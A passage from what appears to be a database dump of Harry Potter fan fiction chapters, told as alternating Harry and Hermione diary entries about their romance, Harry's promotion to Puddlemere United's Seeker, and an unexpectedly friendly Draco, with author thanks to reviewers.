class="MsoNormal" style="margin-right:4.5pt">Harry, entry 10</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">August 23</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Puddlemere</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I got a reply from Ron today.&nbsp; I\'ve copied the letter.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Dear Harry,</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I have done extensive research (Gah!&nbsp; Mate, come home, I\'m starting to sound like\nHerm!), and I have concluded that she loves you.&nbsp; I asked her questions, and I also read her diary.&nbsp; (Honestly, the places she hides it!&nbsp; Yesterday, she left it in the fridge.)&nbsp; Some locking charm.&nbsp; Feel free to owl her and tell her.&nbsp; She\'s been pining away like a pine tree.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Good luck, mate,</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Ron</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I feel faint.&nbsp;\nShe loves me.&nbsp; I must send her a\nletter.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">-Harry</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Hermione, entry 10</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">August 23</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Home</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I got a letter from Harry.&nbsp; I\'m not going to read it until I charm it in here.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Dearest Hermione,</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">In your previous letter, you asked me if I knew why\nRon was asking you weird questions.&nbsp;\nWell, he was finding something out for me.&nbsp; Also, you might want to change your locking charm on your\ndiary.&nbsp; And I wouldn\'t suggest hiding it\nin the fridge, either.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Indeed, this is the right time to reveal my\nsecret.&nbsp; I wish that I could say this to\nyou face to face, so I could sweep you off your feet and kiss you forever.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">I have more than friendly feelings for you.&nbsp; Much more than friendly.&nbsp; You have no idea what goes on inside my\nhead.&nbsp; I picture us getting married,\nhaving children, etc.&nbsp; I hope I have\ngotten my message across to you.&nbsp; I have\nbeen pining away for you, for your warm embrace, beautiful smile, and sparkling\neyes.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Love (Such relief to pen the word!), love, love,</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Harry</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Oh.&nbsp; My.&nbsp; God.&nbsp;\nHe loves me.&nbsp; Oh Lord, I feel\nfaint.&nbsp; I need to sit down.&nbsp; I need to send him a reply.&nbsp; Oh, my thoughts are all mixed up now!</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">-Hermione</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Geez, it took me FOREVER to finish this.&nbsp; In the next chapter, our hero and heroine\nconfront each other, snog, and Hermione curses Ron for reading her diary.</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">Many thanks to those who reviewed the first chapter,\n<b style="mso-bidi-font-weight:normal">Day RainP</b> (Clich&#233;?&nbsp; Ah, the joys of clich&#233;-ing!), <b style="mso-bidi-font-weight:normal">GriffinsEye</b> (*huggles* Thank you!), <b style="mso-bidi-font-weight:normal">romulus lupin</b> (Thank you! *huggles,\nalong with GriffinsEye*), <b style="mso-bidi-font-weight:normal">Neri DeLuca,\nDreamfeather, lilangel, PeterMurray</b> (My thought exactly!&nbsp; That\'s why I like Elizabeth!), and <b style="mso-bidi-font-weight:normal">Hermione123</b> (*huggles along with\nGriffinsEye and romulus* I have added you to my buddy list and will PM you\nshortly.&nbsp; P.S. Love your signature!).</p>\n\n<p class="MsoNormal" style="margin-right:4.5pt">&nbsp;</p>\n\n\n\n\n\n\n'),
	(151, 3, '\n\n\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~~~~~~~~</p>\n\nMissing Each Other, Chapter 3\n\n<p class="MsoNormal" style="text-align:center" align="center">~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">Harry, entry 11</p>\n\n<p class="MsoNormal">August 30</p>\n\n<p class="MsoNormal">Puddlemere</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I haven\'t heard from Hermione for a week.&nbsp; Could it be that Ron misjudged her, and she\ndoesn\'t love me?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I can\'t help having doubts about it.&nbsp; Perhaps it\'s good to have a little paranoia.&nbsp; And to always be wary.&nbsp; But still, I\'m so worried.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\'ve just gotten a letter from Ron.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry,</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione hasn\'t spoken to me since you sent her that\nletter.&nbsp; What did you say to her?&nbsp; I certainly hope it wasn\'t offending.&nbsp; Even so, it\'s got me worried.&nbsp; She sits in her room all day, coming out\nonly to eat.&nbsp; And whenever I ask her\nwhat\'s wrong, she just glares at me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Mate, you need to come home and shake some sense into\nher.&nbsp; Before she goes ballistic.&nbsp; Oh, wait, I think she already has.&nbsp; She\'s just come into my room, mumbling to\nherself.&nbsp; She\'s opening her mouth to\nspeak.&nbsp; She changed her mind.&nbsp; She\'s leaving.&nbsp; Well, it came close.&nbsp;\nPlease come home soon, Harry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Ron</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hmmm.&nbsp; I\nwonder....&nbsp; Perhaps she\'s in so much\ndistress that she\'s taken to silence?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We\'re getting a weeklong break starting tomorrow, so I shall\nreturn home.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, entry 11</p>\n\n<p class="MsoNormal">August 30</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I haven\'t written in a week, ever since I got that letter.&nbsp; It\'s because I\'ve no idea what to do, say,\nor even think, for that matter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I just can\'t believe it.&nbsp;\nHarry, my best friend of nearly ten years, the great Harry Potter, who\ndefeated Lord Voldemort for ten years at age one, is in love with me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\'ve an idea to march right up to Puddlemere, grab him by\nthe shoulders, shake him, and ask him why he even had the slightest idea of\nloving me.&nbsp; But I won\'t.&nbsp; I\'ve decided that I\'ll wait till he comes\nhome.&nbsp; Then, and only then, will I speak\naloud.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, entry 12</p>\n\n<p class="MsoNormal">August 31</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oh.&nbsp; My.&nbsp; God.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When I got home, all were surprised to see me.&nbsp; Hermione was in her room.&nbsp; Ron was in the living room, working on\nsomething, and Amanda was in the kitchen, trying to cook something edible for\nlunch.&nbsp; As I shut the door behind me,\nRon jumped up, Amanda ran out of the kitchen, potholders in hand, and\nHermione....&nbsp; Well, she stayed in her\nroom.&nbsp; Only when Amanda ran to get her\ndid she emerge.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She approached me slowly, as if I was a stranger.&nbsp; She was blinking furiously, as if trying to\nhold back tears.&nbsp; I just stood there,\nmotionless, with my arms at my sides.&nbsp;\nWhen we were five feet away, she must have had a strong surge of emotion,\nfor she ran to me and hugged me tightly.&nbsp;\nAfter a moment, I felt my shirt getting wet.&nbsp; She pulled away from me then and looked into my eyes, her face\nsoaked with tears.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why me?&quot; she asked hoarsely.&nbsp; &quot;Why me, of all people?&nbsp; Why, Harry?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I smiled at her, my heart filling with love for this modest\nand humble woman.&nbsp; &quot;Because you\'re\nthe best person in the world for me.&nbsp;\nYou\'re the only one for me,&quot; I replied, leaning down to kiss her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I won\'t go into details of the kiss, but I am positive that\nI heard two voices go, &quot;Awwwwww.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We spent the rest of the day talking and kissing and holding\nhands.&nbsp; Boy, won\'t the guys back at\nPuddlemere be surprised when I come back, bringing my girlfriend.&nbsp; We can do that, you know.&nbsp; The females (players and non) sleep in one\ndormitory building, and the males (players and non) sleep in the other.&nbsp; Of course, I\'ll only bring her if she wants\nto come.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, entry 12</p>\n\n<p class="MsoNormal">August 31</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Omigosh!&nbsp; Harry\'s\nback!&nbsp; And he kissed me!&nbsp; Again, and again, and again... you get the\npoint.&nbsp; Oh, I\'m so happy, I feel as if I\ncould fly!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I had no idea that he had come home until Amanda came into\nmy room and said that he was here.&nbsp; I\nslowly rose and left my room.&nbsp; When I\nsaw him, I felt like crying.&nbsp; He looked\nso handsome.&nbsp; I approached him slowly,\nblinking back tears.&nbsp; All of the sudden,\nmy heart filled with joy and love, and I rushed to him and hugged him tightly,\nletting the tears flow free.&nbsp; After a moment,\nI looked up at him, and voiced the question I had been asking myself for the\npast week.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why me?&nbsp; Why\nme, of all people?&nbsp; Why, Harry?&quot; I\nasked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Because you\'re the best person in the world for\nme.&nbsp; You\'re the only one for me,&quot;\nhe replied, leaning down to kiss me.&nbsp; I\nwon\'t go into details, but I swear I heard two voices go, &quot;Awwwwww.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, entry 13</p>\n\n<p class="MsoNormal">September 1</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Today would be the first day of the term if we were still\ngoing to Hogwarts.&nbsp; In honor of the\noccasion, we spent the day reminiscing about the \'old days\'.&nbsp; It seems just yesterday that we graduated.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ah, I feel as if a great weight has been lifted off my\nchest.&nbsp; Getting my feelings out in the open,\nand knowing that Hermione has accepted me has greatly affected me.&nbsp; I feel so light, like a Snitch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Just having her with me is like having the sun shine\n24/7.&nbsp; She makes me a better\nperson.&nbsp; Tomorrow I\'ll ask her if she\'ll\ncome to Puddlemere with me.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, entry 13</p>\n\n<p class="MsoNormal">September 2</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Today, Harry asked me to go to Puddlemere with him.&nbsp; I asked him if players were allowed to bring\ntheir significant others.&nbsp; He said they\ndid, all the time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I agreed, and am now in the middle of packing my\nthings.&nbsp; Harry has just left; he had\ncome in intent on a snogging session.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\'s so silly sometimes, I wonder how he can get serious\nwhen Voldemort comes after him.&nbsp; He\'s <i style="mso-bidi-font-style:normal">my</i> Harry, all right.&nbsp; Oh, how I love him.&nbsp; He\'s the best person for me, like my other\nhalf.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I wonder what Puddlemere\'s like.&nbsp; Harry never said anything about it in his letters.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">P.S.&nbsp; Finally cursed\nRon for reading my diary.&nbsp; He&#8217;s still\nwobbly.</p>\n\n<p class="MsoNormal">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, entry 14</p>\n\n<p class="MsoNormal">September 3</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I took Hermione out on a date tonight.&nbsp; She thoroughly enjoyed it.&nbsp; So did I.&nbsp;\nI can&#8217;t wait to get back to Puddlemere.&nbsp;\nThe guys&#8217;ll be so surprised.&nbsp;\nThree more days.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron&#8217;s just come in to tell me I&#8217;ve a visitor, so I&#8217;ll be\nback later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later:</p>\n\n<p class="MsoNormal">Oh my God, it was Malfoy.&nbsp;\nNo wonder Ron had that look on his face when he came to tell me.&nbsp; He wanted to wish me luck for some\nreason.&nbsp; Then he told me that he&#8217;d\njoined Puddlemere United, as a backup Seeker.&nbsp;\nI told him that I was the backup Seeker, and he said, &#8220;Not anymore.&nbsp; Didn&#8217;t you hear?&nbsp; Kurt Manning told the coach that he&#8217;s retiring, and he said that\nyou were the best man for the job.&#8221;&nbsp;\nThen he paused before asking, &#8220;You mean you haven&#8217;t got your letter\nyet?&#8221;<br style="mso-special-character:line-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal">I shook my head just as an owl swooped into the room.&nbsp; I picked up the letter and read it through\nquickly as Malfoy smirked.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>Dear Harry,</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Kurt has\nquit, saying he&#8217;s too old to be playing and his eyes are going bad.&nbsp; He told me that you&#8217;re the best man for the\njob, so I&#8217;m promoting you.&nbsp; You are now\nthe official Seeker for Puddlemere United.&nbsp;\nThis means more work, though.&nbsp; I\nhope you&#8217;re up to it, or Draco, your new backup, gets the job, and you&#8217;re a\nbackup again.&nbsp; </i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>Sincerely,</i></p>\n\n<p class="MsoNormal"><i>Oliver Wood</i></p>\n\n<p class="MsoNormal"><i>Captain of Puddlemere United Quidditch Team</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal"><i>P.S. Don&#8217;t forget to bring your girlfriend when you come\nback from break.</i></p>\n\n<p class="MsoNormal"><i>&nbsp;</i></p>\n\n<p class="MsoNormal">I jumped up and ran into Hermione&#8217;s room.&nbsp; She looked up from her suitcase as I burst\nin.&nbsp; I handed her the letter, and she\nread it through quickly, before throwing her arms around my neck and kissing me\nsoundly on the mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m so happy for you, Harry!&#8221; she said, her smile lighting\nup her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s going on?&#8221; Ron asked, coming into the room.&nbsp; I showed him the letter, and he grinned and\nclapped me on the back, saying, &#8220;Congratulations, mate!&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We all headed out into the living room, where Malfoy still\nstood.&nbsp; When Hermione saw him, she\ngasped and took a step back behind me.&nbsp;\n&#8220;What&#8217;s <i>he</i> doing here?&#8221; she whispered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Relax, Granger,&#8221; said Malfoy.&nbsp; &#8220;I&#8217;m only here to wish Potter good luck, and to remind him that\nif he fails, I get the job.&nbsp; And as I&#8217;ve\njust done both of those things, I&#8217;ll be leaving now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With that, he turned and strode out of the flat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I still can&#8217;t believe it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, entry 14</p>\n\n<p class="MsoNormal">September 3</p>\n\n<p class="MsoNormal">Home</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">GAH!&nbsp; Harry&#8217;s the\nofficial Seeker now!&nbsp; He came into my\nroom while I was packing, and showed me his letter.&nbsp; I can&#8217;t believe it!&nbsp; I\nkissed him and hugged him, and then Ron came in, saw the letter, and\ncongratulated him.&nbsp; Then we all went\ninto the living room, and I saw Malfoy standing there.&nbsp; I gasped and took a step back behind Harry,\nand asked him what Malfoy was doing here.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;Then Malfoy said\nsomething that actually wasn&#8217;t evil or insulting before turning and leaving.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Really weird, it was.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well, I&#8217;m tired, so it&#8217;s sleepy-time!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry, entry 15</p>\n\n<p class="MsoNormal">September 7</p>\n\n<p class="MsoNormal">Puddlemere</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Well, we&#8217;re back.&nbsp;\nSorry I haven&#8217;t written, but it&#8217;s been hectic.&nbsp; Hermione had a run-in with Lucius Malfoy in Diagon Alley on the 4th\nand he cursed her.&nbsp; Sadly, it was a 24\nhour curse, so we weren&#8217;t able to reach Puddlemere when I planned.&nbsp; I sent an owl to Wood, though, giving him an\nexplanation.&nbsp; Luckily, he accepted, so I\nhaven&#8217;t been pulled back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco (Oh, the shame that I must call him that!) sent a\nHowler to his father, much to our amusement.&nbsp;\nThen he got a Howler back, and the look on his face is one I shall never\nforget.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;DRACO IGNATIUS MALFOY, DON&#8217;T YOU EVER USE THAT TONE OF\nVOICE WITH ME AGAIN!&nbsp; THE MUDBLOOD&#8221;&#8212;this\nwas spat out&#8212;&#8220;GOT IN MY WAY, AND WHEN SHE DIDN&#8217;T MOVE I CURSED HER FOR BEING\nINSUBORDINATE!&nbsp; SO NEVER, <i>EVER</i>\nSEND ME MAIL LIKE THAT AGAIN OR I WILL MAKE SURE THAT YOU ARE SEVERELY\nPUNISHED!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That&#8217;s how the Howler went.&nbsp;\nOf course, then I got mad, saying that Hermione was <i>not</i>\ninsubordinate.&nbsp; She just acted toward\nMalfoy senior the way she would act to any other evil wizard who was\nVoldemort&#8217;s right hand man.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This, of course, made everybody chuckle.&nbsp; Even Draco. &nbsp;That surprised me, that I hadn&#8217;t insulted him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I told him this.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t care about him anymore, unless he hurts someone I\nlike.&nbsp; He did three years ago, and ever\nsince, I&#8217;ve hated him,&#8221; he replied nonchalantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I was astonished.&nbsp;\n&#8220;You&#8230; <i>like</i> me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He shrugged.&nbsp; &#8220;Why\nshouldn&#8217;t I?&nbsp; Besides the fact that it\nwas your fault Slytherin&#8217;s lost the House Cup and the Quidditch Cup ever since\nyou&#8217;ve been at Hogwarts except for first year, and you&#8217;re much better at\nQuidditch than I am, and you&#8217;re the famous Harry Potter and all that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and I stared at him in openmouthed shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, I like you, since you&#8217;ve saved the world from an evil\ngit who kills Muggles and would rule the world.&nbsp; Or you&#8217;ve tried, at least.&nbsp;\nHe&#8217;s still at large.&nbsp; Plus, I\ndon&#8217;t want anybody ruling me.&nbsp;&nbsp; If you\ncan get rid of him, then I think we can be great friends.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">We were still staring at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hope that was sarcastic,&#8221; I was finally able to say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, no, it really wasn&#8217;t,&#8221; he replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione and I just looked at each other.&nbsp; This was really weird.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then Draco yawned.&nbsp;\n&#8220;Well, I&#8217;m off for a good ol&#8217; sleep.&nbsp;\nYou guys should get to sleep, too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Then he left.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So here I am, puzzling over Draco&#8217;s strange behavior.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;m sighing as I wish I could go over and see Hermione, but\nI can&#8217;t.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Will end here for tonight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Harry</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione, entry 15</p>\n\n<p class="MsoNormal">September 8</p>\n\n<p class="MsoNormal">Puddlemere</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ooh, I just want to curse him out, that Malfoy!&nbsp; Not younger, older.&nbsp; He cursed me for not moving out of his\nway.&nbsp; Am sure Harry&#8217;s informed his diary\nof events, so will not go into further detail.&nbsp;\nHave feeling that our diaries talk to each other.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways, we were given a warm welcome here at\nPuddlemere.&nbsp; Then Harry had a very weird\nconversation with Draco.&nbsp; Won&#8217;t go into\ndetails.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The players started training again.&nbsp; Us significant others stood in the stands\nand cheered them on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry (Oh, that crazy man!) was practicing a fancy stunt,\nand he got hit by a Bludger and fell of his broom.&nbsp; Luckily, he wasn&#8217;t too far from the ground, but he broke a leg\nanyway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I, of course, rushed onto the field immediately and healed\nhim.&nbsp; Luckily, it wasn&#8217;t that bad, but\nOliver still didn&#8217;t let him practice for the rest of the day.&nbsp; So he and I went back and had a nice\nafternoon together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sadly, Oliver still had to talk to him.&nbsp; He&#8217;s just left.&nbsp; I&#8217;ll end for now, as I must go find out what happened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Later:</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Oliver said that if Harry can&#8217;t concentrate, he&#8217;ll have to\nbecome a reserve again!&nbsp; Oh, the\nshame!&nbsp; I consoled him and gave him some\npointers, so hopefully he will concentrate more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">-Hermione</p>\n\n\n\n<p class="MsoNormal" style="border:none;mso-border-bottom-alt:solid windowtext .75pt;\npadding:0in;mso-padding-alt:0in 0in 1.0pt 0in">&nbsp;</p>\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Many thanks to: <b>Annison Crane, Srox4690</b> (Thank you!)<b>,\nJoyce Cohen </b>(Wise words, my friend.)<b>, Ronnieboy89</b> (Will say nothing\nabout the Cannons.&nbsp; Yes, as the saying\ngoes.&nbsp; Hermione was infatuated by 